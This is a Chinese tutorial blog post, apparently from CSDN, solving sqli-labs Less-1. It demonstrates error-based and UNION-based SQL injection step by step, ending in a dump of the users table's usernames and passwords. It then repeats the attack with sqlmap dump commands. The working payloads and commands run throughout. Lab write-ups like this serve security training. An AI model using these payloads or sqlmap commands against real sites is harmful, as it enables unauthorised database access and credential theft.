SQL注入sqli-labs学习(less-1)

sqli-labs靶场网址.
http://154.223.137.85:83/

通过sqli-labs中的题目来学习sql注入。


sql注入的基本步骤

(1)判断是否存在注入,判断类型并且闭合语句
(2)使用order by 关键字来判断字段数
(3)选择注入语句,使用union查询或者报错注入
(4)获取数据库用户,版本,当前连接的数据库等信息
(5)获取某个数据库表的信息,获取列信息
(6)获取表中的数据


手工注入

进入less-1页面,根据页面的英文提示,发现需要我们输入参数在这里插入图片描述
在后面添加参数。

http://10.1.26.253:8000/Less-1/?id=1

发现不会报错

在这里插入图片描述


判断是否存在注入点

http://10.1.26.253:8000/Less-1/?id=1’

在参数后加入单引号’,发现页面会显示报错信息,表示该网站可能存在注入点。

在这里插入图片描述

手工sql注入判断是否存在注入点资料:
https://www.cnblogs.com/SCHAOGES/p/10889654.html


判断注入类型

数字型注入测试

在id后加 %20and%201=1

注:%20为url编码之中的空格号。

http://10.1.26.253:8000/Less-1/?id=1%20and%201=1
除去url编码为:http://10.1.26.253:8000/Less-1/?id=1 and 1=1

返回值正常
在这里插入图片描述

在id后面加入%20and%201=2

http://10.1.26.253:8000/Less-1/?id=1%20and%201=2
除去url编码为:http://10.1.26.253:8000/Less-1/?id=1 and 1=2

发现返回值同样正常。
在这里插入图片描述所以该类型不为数字型注入。


字符型注入测试

在id后面加入%27%20and%271%27=%271

注:%27为url编码之中的单引号

http://10.1.26.253:8000/Less-1/?id=1%27%20and%20%271%27=%271
除去url编码后为:http://10.1.26.253:8000/Less-1/?id=1’ and ‘1’='1

在这里插入图片描述发现返回值正常
在id后面加%27%20and%20%271%27=%272

http://10.1.26.253:8000/Less-1/?id=1%27%20and%20%271%27=%272
除去url编码后为:http://10.1.26.253:8000/Less-1/?id=1’ and ‘1’='2

在这里插入图片描述

发现没有出现返回值。说明该注入类型为字符型。

注入类型资料:
https://www.cnblogs.com/aq-ry/p/9368619.html
https://blog.csdn.net/kerun1/article/details/103414797
http://blog.sina.com.cn/s/blog_8cc77f5e0101kzw8.html


查看数据表列数

使用SQL关键字order by来查看数据表的字段数

order by : 用于对结果集按照一个字段或者多个字段排序。
(以某一列为标准进行排序,当选择的字段不存在时会报错。)

http://10.1.26.253:8000/Less-1/?id=1%27%20order%20by%201,2,3,4–+
除去url编码后为:http://10.1.26.253:8000/Less-1/?id=1’ order by 1,2,3,4–+

最后面用- - +是因为这里我们的url在get方式提交的时候要进行一次url转码 所以我们要让转码后的字符为- - +来闭合语句;
在这里插入图片描述
当加到4的时候页面会报错,报错信息为(Unknown column ‘4’ in ‘order clause’)说明该数据表有三个字段;也可以说是有三列数据。


使用union查询

由于该题中的数据能够输出到页面之上,使用可以使用union注入从数据库中查询参数id对应的内容,然后将数据库的内容输出到页面上。
使用union select 查看返回值
SELECT SQL语句用于从数据库中选取数据。
UNION SQL操作符用于合并两个或多个 SELECT 语句的结果集。

输入%27union%20select%201,2,3–+

http://10.1.26.253:8000/Less-1/?id=1%27union%20select%201,2,3–+

在这里插入图片描述

发现页面并没有返回union select的结果。因为代码只返回第一条结果,所以这一条url发送出去后只返回了id=1的结果,之后的内容均被忽略掉了。我们需要重新时候设置参数id的值,让服务器能够返回id=1之后的结果。这里可以把1改成-1.由于数据库之中不存在id=-1的数据所以能够让服务器返回union select的数据。

将id=1改成id=-1

http://10.1.26.253:8000/Less-1/?id=-1%27union%20select%201,2,3–+

在这里插入图片描述
页面返回了2和3,意味着在union select 1,2,3中,2和3的位置可以输入sql语句


获取数据库信息

使用database()来获取数据库的名字。
database() :返回默认或当前数据库的名称
在这里插入图片描述得到该数据库名字为security


获取数据表

http://10.1.26.253:8000/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()–+

去掉转义字符:
http://154.223.137.85:83/sqli-labs/Less-1/?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

注:
select 1,2,group_concat(table_name): 把table_name(表名)在3处打印出来。

information_schema.tables: MySQL自带数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

table_schema: 数据表所属的数据库名。
在这里插入图片描述得到数据库security中存在了四张数据表。其中users翻译为用户,用户的数据大概率存在于该表之中,所以我们可以先对数据表users进行查询。


获取表的字段信息

http://10.1.26.253:8000/Less-1/
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20–+

去掉转义字符:
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述

通过回显发现,users表中的三个字段为id,username,password。说明表users中存着用户的账号和密码。


获取表中数据

http://154.223.137.85:83/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20users–+

将username字段的数据打印到2处;将password字段的数据打印到3处。

在这里插入图片描述

手工注入成功,得到了users表中保存的用户的账户和密码。


SQL MAP 解法

检索数据库

在kali中打开sqlmap通过dbs命令来检索网站中的数据库。

sqlmap -u http://10.1.26.253:8000/Less-1/?id=1 -dbs

-dbs:检索所有数据库;
在这里插入图片描述

得到网站的数据库。
由上面的手工注入得到security为我们所需要的数据库。可以直接查询该数据库让我们省去查询其他数据库的时间。


检索数据库security中的表

sqlmap -u http://154.223.137.85:83/Less-1/?id=1 -dbms mysql -D security -tables

在这里插入图片描述
得到数据库security中全部的表


获取数据表users中的字段

qlmap -u http://154.223.137.85:83/Less-1/?id=1 --dbms mysql -D security -T users –columns

在这里插入图片描述
得到数据表users中的全部字段名


获取数据表users中的全部数据

sqlmap -u http://154.223.137.85:83/Less-1/?id=1 --dbms mysql -D security -T users -C username,password –dump

在这里插入图片描述
得到数据表users中的全部数据。


h关于SQLmap使用资料:
https://blog.csdn.net/qq_33530840/article/details/82144515
https://blog.csdn.net/qq_43621629/article/details/104530995
https://blog.csdn.net/qq_37964989/article/details/84109094

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值